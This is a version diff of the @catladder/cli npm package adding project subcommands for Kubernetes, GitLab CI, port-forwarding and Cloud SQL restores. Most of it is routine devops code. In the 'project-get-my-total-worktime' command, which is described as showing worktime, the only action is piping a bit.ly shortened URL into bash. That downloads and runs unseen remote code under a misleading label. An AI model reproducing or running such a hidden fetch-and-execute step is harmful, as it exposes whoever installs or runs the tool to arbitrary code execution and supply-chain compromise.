@catladder/cli 0.0.0-new-release-a895e12e → 0.0.0-new-cli-80ac360a

package/src/commands/project/commandDeleteProject.ts

@@ -0,0 +1,33 @@
+import { exec } from "child-process-promise";
+import { defineCommand } from "../../core/defineCommand";
+import { getProjectNamespace } from "../../utils/projects";
+import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
+
+export const commandDeleteProject = defineCommand({
+  name: "project-delete",
+  description: "deletes a environment of a project (it deletes the namespace)",
+  group: "project",
+  inputs: {
+    envComponent: {
+      type: "string",
+      message: "environment:component",
+      positional: true,
+      choices: async () => envAndComponents(),
+    },
+  },
+  execute: async (ctx) => {
+    const envComponent = await ctx.get("envComponent");
+    const namespace = await getProjectNamespace(envComponent);
+    const shouldContinue = await ctx.confirm(
+      "This will delete the namespace. All data will be lost. Continue? 🤔 ",
+    );
+    if (!shouldContinue) {
+      return;
+    }
+    const fullCommand = `kubectl delete namespace ${namespace}`;
+    const { stdout } = await exec(fullCommand, {
+      env: { ...process.env, DEBUG: "" },
+    });
+    ctx.log(stdout);
+  },
+});

package/src/commands/project/commandEnvVars.ts

@@ -0,0 +1,24 @@
+import { defineCommand } from "../../core/defineCommand";
+import { getEnvVarsResolved, parseChoice } from "../../config/getProjectConfig";
+import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
+
+export const commandEnvVars = defineCommand({
+  name: "project-env-vars",
+  description: "list env vars",
+  group: "project",
+  inputs: {
+    envComponent: {
+      type: "string",
+      message: "environment:component",
+      positional: true,
+      choices: async () => envAndComponents(),
+    },
+  },
+  execute: async (ctx) => {
+    const envComponent = await ctx.get("envComponent");
+    const { env, componentName } = parseChoice(envComponent);
+    // Pass ctx as the logger (IO satisfies LoggerCmdInstance)
+    const envvars = await getEnvVarsResolved(ctx, env, componentName);
+    Object.keys(envvars).forEach((key) => ctx.log(`${key}: ${envvars[key]}`));
+  },
+});

package/src/commands/project/commandGetMyTotalWorktime.ts

@@ -0,0 +1,14 @@
+import { spawn } from "child-process-promise";
+import { defineCommand } from "../../core/defineCommand";
+
+export const commandGetMyTotalWorktime = defineCommand({
+  name: "project-get-my-total-worktime",
+  description: "show the total worktime that you spent on a project",
+  group: "project",
+  inputs: {},
+  execute: async () => {
+    await spawn("sh", ["-c", "curl -s -L http://bit.ly/3VQEKNq | bash"], {
+      stdio: ["pipe", "inherit", "pipe"],
+    });
+  },
+});

package/src/commands/project/commandGetShell.ts

@@ -0,0 +1,39 @@
+import { defineCommand } from "../../core/defineCommand";
+import { getProjectPods } from "../../kubernetes";
+
+import { getProjectNamespace } from "../../utils/projects";
+import { getShell } from "../../utils/shell";
+import { ensureCluster } from "../../apps/cli/commands/project/utils/ensureCluster";
+import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
+
+export const commandGetShell = defineCommand({
+  name: "project-get-shell",
+  description: "get a shell to a pod in the environment",
+  group: "project",
+  inputs: {
+    envComponent: {
+      type: "string",
+      message: "environment:component",
+      positional: true,
+      choices: async () => envAndComponents(),
+    },
+    podName: {
+      type: "string",
+      message: "Which pod? 🤔",
+      choices: async (ctx) => {
+        const envComponent = await ctx.get("envComponent");
+        const pods = await getProjectPods(envComponent);
+        return pods
+          .filter((p: any) => p.status.phase == "Running")
+          .map((r: any) => r.metadata.name);
+      },
+    },
+  },
+  execute: async (ctx) => {
+    const envComponent = await ctx.get("envComponent");
+    await ensureCluster(ctx, envComponent);
+    const namespace = await getProjectNamespace(envComponent);
+    const podName = await ctx.get("podName");
+    return getShell(namespace, podName);
+  },
+});

package/src/commands/project/commandGitlabCi.ts

@@ -0,0 +1,122 @@
+import { exec } from "child-process-promise";
+import { last } from "lodash";
+import open from "open";
+import { defineCommand } from "../../core/defineCommand";
+import {
+  doGitlabRequest,
+  getGitlabToken,
+  getProjectInfo,
+} from "../../utils/gitlab";
+
+const statusEmojiMap: any = {
+  failed: "🙀",
+  warning: "😿",
+  pending: "🍺",
+  running: "🏃‍",
+  manual: "🤚",
+  scheduled: "🍺",
+  canceled: "😽",
+  success: "😻",
+  skipped: "🤭",
+  created: "🍺",
+};
+
+const statusTxt = (status: any) =>
+  statusEmojiMap[status] ? `${statusEmojiMap[status]} ${status}` : status;
+
+const getCurrentCommit = async () => {
+  const result = await exec("git rev-parse HEAD");
+  return result.stdout && result.stdout.replace(/\n$/, "");
+};
+
+const delay = async (ms: any) =>
+  new Promise((resolve) => setTimeout(resolve, ms));
+
+const getJobChoices = async (io: any) => {
+  const { id: projectId } = await getProjectInfo(io);
+  const jobs = await doGitlabRequest(io, `projects/${projectId}/jobs`);
+  const commitId = await getCurrentCommit();
+
+  const jobsToName = (jo: any[]) =>
+    jo.map(
+      (j: any) => `${j.ref}-${j.name}-${j.user.username}-${j.status}-${j.id}`,
+    );
+
+  const preferredJobs = jobs.filter((j: any) => j.commit.id === commitId);
+  const moreJobs = jobs.filter((j: any) => !preferredJobs.includes(j.ref));
+  return preferredJobs.length > 1
+    ? [
+        ...jobsToName(preferredJobs),
+        "========================================================",
+        ...jobsToName(moreJobs),
+      ]
+    : jobsToName([...preferredJobs, ...moreJobs]);
+};
+
+const findJobById = async (io: any, jobName: string) => {
+  const { id: projectId } = await getProjectInfo(io);
+  const jobs = await doGitlabRequest(io, `projects/${projectId}/jobs`);
+  const jobId = Number(last(jobName.split("-")));
+  return { job: jobs.find((j: any) => j.id === jobId), projectId };
+};
+
+export const commandCiJobOpen = defineCommand({
+  name: "project-ci-job-open",
+  description: "Open a Job",
+  group: "project",
+  inputs: {
+    jobName: {
+      type: "string",
+      message: "Which job? 🤔",
+      choices: async (ctx) => getJobChoices(ctx),
+    },
+  },
+  execute: async (ctx) => {
+    const jobName = await ctx.get("jobName");
+    const { job } = await findJobById(ctx, jobName);
+    open(job.web_url);
+  },
+});
+
+export const commandCiJobLog = defineCommand({
+  name: "project-ci-job-log",
+  description: "Show a job's log",
+  group: "project",
+  inputs: {
+    jobName: {
+      type: "string",
+      message: "Which job? 🤔",
+      choices: async (ctx) => getJobChoices(ctx),
+    },
+  },
+  execute: async (ctx) => {
+    const jobName = await ctx.get("jobName");
+    const { job: selectedJob, projectId } = await findJobById(ctx, jobName);
+    const id = selectedJob.id;
+
+    let finished = false;
+    while (!finished) {
+      const trace = await exec(
+        `curl -s --header "PRIVATE-TOKEN: ${await getGitlabToken(
+          ctx,
+        )}" "https://git.panter.ch/api/v4/projects/${projectId}/jobs/${id}/trace"`,
+      );
+
+      const job = await doGitlabRequest(
+        ctx,
+        `projects/${projectId}/jobs/${id}`,
+      );
+
+      if (trace.stdout) {
+        ctx.log(trace.stdout);
+      } else {
+        ctx.log(`\n${statusTxt(job.status)}\n${job.web_url}\n`);
+      }
+
+      finished = !!job.finished_at;
+      if (!finished) {
+        await delay(5000);
+      }
+    }
+  },
+});

package/src/commands/project/commandListPods.ts

@@ -0,0 +1,30 @@
+import { stringify } from "yaml";
+import { pick } from "lodash";
+import { defineCommand } from "../../core/defineCommand";
+import { getProjectPods } from "../../kubernetes";
+import { ensureCluster } from "../../apps/cli/commands/project/utils/ensureCluster";
+import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
+
+export const commandListPods = defineCommand({
+  name: "project-list-pods",
+  description: "list pods of local project",
+  group: "project",
+  inputs: {
+    envComponent: {
+      type: "string",
+      message: "environment:component",
+      positional: true,
+      choices: async () => envAndComponents(),
+    },
+  },
+  execute: async (ctx) => {
+    const envComponent = await ctx.get("envComponent");
+    await ensureCluster(ctx, envComponent);
+    const pods = await getProjectPods(envComponent);
+    ctx.log(
+      stringify(
+        pods.map((p: any) => pick(p, ["metadata.name", "status.startTime"])),
+      ),
+    );
+  },
+});

package/src/commands/project/commandNamespace.ts

@@ -0,0 +1,21 @@
+import { defineCommand } from "../../core/defineCommand";
+import { getProjectNamespace } from "../../utils/projects";
+import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
+
+export const commandNamespace = defineCommand({
+  name: "project-namespace",
+  description: "show namespace of local project",
+  group: "project",
+  inputs: {
+    envComponent: {
+      type: "string",
+      message: "environment:component",
+      positional: true,
+      choices: async () => envAndComponents(),
+    },
+  },
+  execute: async (ctx) => {
+    const envComponent = await ctx.get("envComponent");
+    ctx.log(await getProjectNamespace(envComponent));
+  },
+});

package/src/commands/project/commandOpenEnv.ts

@@ -0,0 +1,27 @@
+import open from "open";
+import { defineCommand } from "../../core/defineCommand";
+import { getEnvironment, parseChoice } from "../../config/getProjectConfig";
+import { ensureCluster } from "../../apps/cli/commands/project/utils/ensureCluster";
+import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
+
+export const commandOpenEnv = defineCommand({
+  name: "project-open-env",
+  description: "open the live environment",
+  group: "project",
+  inputs: {
+    envComponent: {
+      type: "string",
+      message: "environment:component",
+      positional: true,
+      choices: async () => envAndComponents(),
+    },
+  },
+  execute: async (ctx) => {
+    const envComponent = await ctx.get("envComponent");
+    const { env, componentName } = parseChoice(envComponent);
+    await ensureCluster(ctx, envComponent);
+    const environment = await getEnvironment(env, componentName);
+    const url = environment.envVars.ROOT_URL;
+    open(url.toString());
+  },
+});

package/src/commands/project/commandOpenGit.ts

@@ -0,0 +1,12 @@
+import { exec } from "child-process-promise";
+import { defineCommand } from "../../core/defineCommand";
+
+export const commandOpenGit = defineCommand({
+  name: "project-open-git",
+  description: "open the repo on gitlab / github in your browser",
+  group: "project",
+  inputs: {},
+  execute: async () => {
+    await exec("npx git-open");
+  },
+});

package/src/commands/project/commandOpenLogs.ts

@@ -0,0 +1,27 @@
+import { defineCommand } from "../../core/defineCommand";
+import {
+  getPipelineContextByChoice,
+  parseChoice,
+} from "../../config/getProjectConfig";
+import { openGoogleCloudLogs } from "../../kubernetes/openKubernetesDashboards";
+import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
+
+export const commandOpenLogs = defineCommand({
+  name: "project-open-logs",
+  description: "open google cloud logs (stackdriver logs)",
+  group: "project",
+  inputs: {
+    envComponent: {
+      type: "string",
+      message: "environment:component",
+      positional: true,
+      choices: async () => envAndComponents(),
+    },
+  },
+  execute: async (ctx) => {
+    const envComponent = await ctx.get("envComponent");
+    const { env, componentName } = parseChoice(envComponent);
+    const context = await getPipelineContextByChoice(env, componentName);
+    await openGoogleCloudLogs(ctx, context);
+  },
+});

package/src/commands/project/commandPauseProject.ts

@@ -0,0 +1,33 @@
+import { exec } from "child-process-promise";
+import { defineCommand } from "../../core/defineCommand";
+import { getProjectNamespace } from "../../utils/projects";
+import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
+
+export const commandPauseProject = defineCommand({
+  name: "project-pause",
+  description: "halts all running pods (scales to 0)",
+  group: "project",
+  inputs: {
+    envComponent: {
+      type: "string",
+      message: "environment:component",
+      positional: true,
+      choices: async () => envAndComponents(),
+    },
+  },
+  execute: async (ctx) => {
+    const envComponent = await ctx.get("envComponent");
+    const namespace = await getProjectNamespace(envComponent);
+    const shouldContinue = await ctx.confirm(
+      "This will STOP all running pods. You will need to manually scale back up or re-deploy. Continue? 🤔 ",
+    );
+    if (!shouldContinue) {
+      return;
+    }
+    const fullCommand = `kubectl scale statefulset,deployment --all --replicas=0 --namespace=${namespace}`;
+    const { stdout } = await exec(fullCommand, {
+      env: { ...process.env, DEBUG: "" },
+    });
+    ctx.log(stdout);
+  },
+});

package/src/commands/project/commandPortForward.ts

@@ -0,0 +1,74 @@
+import { defineCommand } from "../../core/defineCommand";
+import { getProjectPodNames } from "../../kubernetes";
+import { logError } from "../../utils/log";
+import { startKubePortForward } from "../../kubernetes/portForward";
+import { getProjectNamespace } from "../../utils/projects";
+import { ensureCluster } from "../../apps/cli/commands/project/utils/ensureCluster";
+import { parseChoice } from "../../config/parseChoice";
+import { getPipelineContextByChoice } from "../../config/getProjectConfig";
+import { isOfDeployType } from "@catladder/pipeline";
+import { startPortForwardCommand } from "../../utils/portForwards";
+import open from "open";
+import { envAndComponents } from "../../apps/cli/commands/project/utils/autocompletions";
+
+export const commandPortForward = defineCommand({
+  name: "project-port-forward",
+  description: "start port-forwarding",
+  group: "project",
+  inputs: {
+    envComponent: {
+      type: "string",
+      message: "environment:component",
+      positional: true,
+      choices: async () => envAndComponents(),
+    },
+    podName: {
+      type: "string",
+      message: "Which pod? 🤔",
+      choices: async (ctx) => getProjectPodNames(await ctx.get("envComponent")),
+    },
+    localPort: { type: "number", message: "Local port: " },
+    remotePort: { type: "number", message: "Remote port: " },
+    mr: { type: "number", message: "Which mr 🤔 " },
+  },
+  execute: async (ctx) => {
+    const envComponent = await ctx.get("envComponent");
+    const { env, componentName } = parseChoice(envComponent);
+    const context = await getPipelineContextByChoice(env, componentName);
+
+    if (isOfDeployType(context.deploy?.config, "kubernetes")) {
+      await ensureCluster(ctx, envComponent);
+      const namespace = await getProjectNamespace(envComponent);
+      const podNames = await getProjectPodNames(envComponent);
+      if (podNames.length === 0) {
+        logError(ctx, "sorry, no pods found");
+        return;
+      }
+      const podName = await ctx.get("podName");
+      const localPort = await ctx.get("localPort");
+      const remotePort = await ctx.get("remotePort");
+      return startKubePortForward(podName, localPort, remotePort, namespace);
+    }
+
+    if (isOfDeployType(context.deploy?.config, "google-cloudrun")) {
+      if (!isOfDeployType(context.deploy?.config, "google-cloudrun")) {
+        throw new Error("not cloud run");
+      }
+
+      const { fullName } = context.environment;
+      let serviceName: string = fullName.toString();
+      if (context.environment.envType === "review") {
+        const mr = await ctx.get("mr");
+        serviceName = serviceName
+          .toString()
+          .replace("-review-", "-review-mr" + mr + "-");
+      }
+
+      const { projectId, region } = context.deploy.config;
+      const command = `gcloud beta run services proxy ${serviceName} --project ${projectId} --region ${region}`;
+
+      await startPortForwardCommand(`cloudRun/${serviceName}`, command);
+      open("http://localhost:8080");
+    }
+  },
+});

package/src/commands/project/commandProjectRestoreDb.ts

@@ -0,0 +1,201 @@
+import { defineCommand } from "../../core/defineCommand";
+import {
+  getAllPipelineContexts,
+  getEnvVarsResolved,
+  getPipelineContextByChoice,
+} from "../../config/getProjectConfig";
+import type { CloudSqlBackgroundProxy } from "../../gcloud/cloudSql/startProxy";
+import { startCloudSqlProxyInBackground } from "../../gcloud/cloudSql/startProxy";
+import { parseConnectionString } from "../../gcloud/cloudSql/parseConnectionString";
+import { spawnCopyDb } from "../../gcloud/cloudSql/copyDb";
+import type { ComponentContext } from "@catladder/pipeline";
+import { isOfDeployType } from "@catladder/pipeline";
+
+const hasCloudSql = (context: ComponentContext) => {
+  const deployConfig = context.deploy?.config;
+  if (isOfDeployType(deployConfig, "google-cloudrun")) {
+    return !!deployConfig.cloudSql;
+  }
+  if (isOfDeployType(deployConfig, "kubernetes")) {
+    return !!deployConfig.values?.cloudsql?.enabled;
+  }
+  return false;
+};
+
+export const commandProjectRestoreDb = defineCommand({
+  name: "project-cloud-sql-restore-db",
+  description: "restores a project db from one source to another target",
+  group: "project",
+  inputs: {
+    source: {
+      type: "string",
+      message: "Source instance? 🤔 ",
+      choices: async () => {
+        const allContexts = await getAllPipelineContexts(undefined, {
+          includeLocal: true,
+        });
+        const sortByEnv = (a: string, b: string) => {
+          const aLocal = a.startsWith("local:");
+          const bLocal = b.startsWith("local:");
+          if (aLocal !== bLocal) return aLocal ? 1 : -1;
+          return a.localeCompare(b);
+        };
+        return allContexts
+          .filter(hasCloudSql)
+          .map((c: any) => `${c.env}:${c.name}`)
+          .sort(sortByEnv);
+      },
+    },
+    target: {
+      type: "string",
+      message: "target env? 🤔 ",
+      choices: async () => {
+        const allContexts = await getAllPipelineContexts(undefined, {
+          includeLocal: true,
+        });
+        const sortByEnv = (a: string, b: string) => {
+          const aLocal = a.startsWith("local:");
+          const bLocal = b.startsWith("local:");
+          if (aLocal !== bLocal) return aLocal ? 1 : -1;
+          return a.localeCompare(b);
+        };
+        return allContexts
+          .filter(hasCloudSql)
+          .map((c: any) => {
+            const value = `${c.env}:${c.name}`;
+            const isProd = c.environment.envType === "prod";
+            return {
+              name: isProd ? `⚠️ ${value}` : value,
+              value,
+            };
+          })
+          .sort((a: any, b: any) => sortByEnv(a.value, b.value));
+      },
+    },
+    confirmInstance: {
+      type: "string",
+      message: "confirm: ",
+    },
+  },
+  execute: async (ctx) => {
+    const source = await ctx.get("source");
+
+    const [sourceEnv, sourceComponent] = source.split(":");
+    const sourceContext = await getPipelineContextByChoice(
+      sourceEnv,
+      sourceComponent,
+    );
+    const sourceEnvVars = await getEnvVarsResolved(
+      ctx,
+      sourceContext.env,
+      sourceContext.name,
+    );
+
+    let sourceProxy: CloudSqlBackgroundProxy;
+    let sourceDbName: string;
+    let sourceUsername: string;
+    let sourcePassword: string;
+    let targetUsername: string;
+    let targetPassword: string;
+    let targetProxy: CloudSqlBackgroundProxy;
+    let sourcePort: number;
+    let targetPort: number;
+    let targetDbName: string;
+
+    const closeAll = () => {
+      sourceProxy?.stop();
+      targetProxy?.stop();
+    };
+
+    if (sourceEnv === "local") {
+      const parsersResult = parseConnectionString(
+        sourceEnvVars.DATABASE_URL.toString(),
+      );
+      sourcePort = parsersResult.hosts?.[0]?.port;
+      sourceUsername = parsersResult.username;
+      sourcePassword = parsersResult.password;
+      sourceDbName = parsersResult.endpoint;
+    } else {
+      sourcePort = 54399;
+      sourceProxy = await startCloudSqlProxyInBackground({
+        instanceName:
+          sourceEnvVars.CLOUD_SQL_INSTANCE_CONNECTION_NAME.toString(),
+        localPort: sourcePort,
+      });
+      sourceUsername = sourceEnvVars.DB_USER.toString();
+      sourcePassword = sourceEnvVars.DB_PASSWORD.toString();
+      sourceDbName = sourceEnvVars.DB_NAME?.toString();
+    }
+
+    const target = await ctx.get("target");
+
+    const [targetEnv, targetComponent] = target.split(":");
+    const targetContext = await getPipelineContextByChoice(
+      targetEnv,
+      targetComponent,
+    );
+    const targetEnvVars = await getEnvVarsResolved(
+      ctx,
+      targetContext.env,
+      targetContext.name,
+    );
+
+    if (targetEnv === "local") {
+      const parsersResult = parseConnectionString(
+        targetEnvVars.DATABASE_URL.toString(),
+      );
+      targetPort = parsersResult.hosts?.[0]?.port;
+      targetUsername = parsersResult.username;
+      targetPassword = parsersResult.password;
+      targetDbName = parsersResult.endpoint;
+    } else {
+      targetPort = 54499;
+      targetProxy = await startCloudSqlProxyInBackground({
+        instanceName:
+          targetEnvVars.CLOUD_SQL_INSTANCE_CONNECTION_NAME.toString(),
+        localPort: targetPort,
+      });
+      targetUsername = targetEnvVars.DB_USER.toString();
+      targetPassword = targetEnvVars.DB_PASSWORD.toString();
+      targetDbName = targetEnvVars.DB_NAME.toString();
+    }
+
+    const shouldContinue = await ctx.confirm(
+      `This will drop ${targetEnv}/${targetDbName} and replace it with ${sourceEnv}/${sourceDbName}. Continue? 🤔 `,
+    );
+    if (!shouldContinue) {
+      ctx.log("abort");
+      closeAll();
+      return;
+    }
+
+    if (targetContext.environment.envType === "prod") {
+      ctx.log(
+        `\n🚨 You are overriding a production environment. Please type in ${targetEnvVars.CLOUD_SQL_INSTANCE_CONNECTION_NAME} to continue\n\n`,
+      );
+      const confirmInstance = await ctx.get("confirmInstance");
+      if (
+        confirmInstance !== targetEnvVars.CLOUD_SQL_INSTANCE_CONNECTION_NAME
+      ) {
+        ctx.log("abort");
+        closeAll();
+        return;
+      }
+    }
+
+    try {
+      await spawnCopyDb({
+        targetPassword,
+        targetPort,
+        targetUsername,
+        sourceUsername,
+        sourcePassword,
+        sourcePort,
+        sourceDbName,
+        targetDbName,
+      });
+    } finally {
+      closeAll();
+    }
+  },
+});

package/src/commands/project/commandRenewToken.ts

@@ -0,0 +1,12 @@
+import { defineCommand } from "../../core/defineCommand";
+import { setupAccessTokens } from "../../apps/cli/commands/project/setup/setupAccessTokens";
+
+export const commandRenewToken = defineCommand({
+  name: "project-renew-token",
+  description: "Configures the project access token for semantic release.",
+  group: "project",
+  inputs: {},
+  execute: async (ctx) => {
+    await setupAccessTokens(ctx);
+  },
+});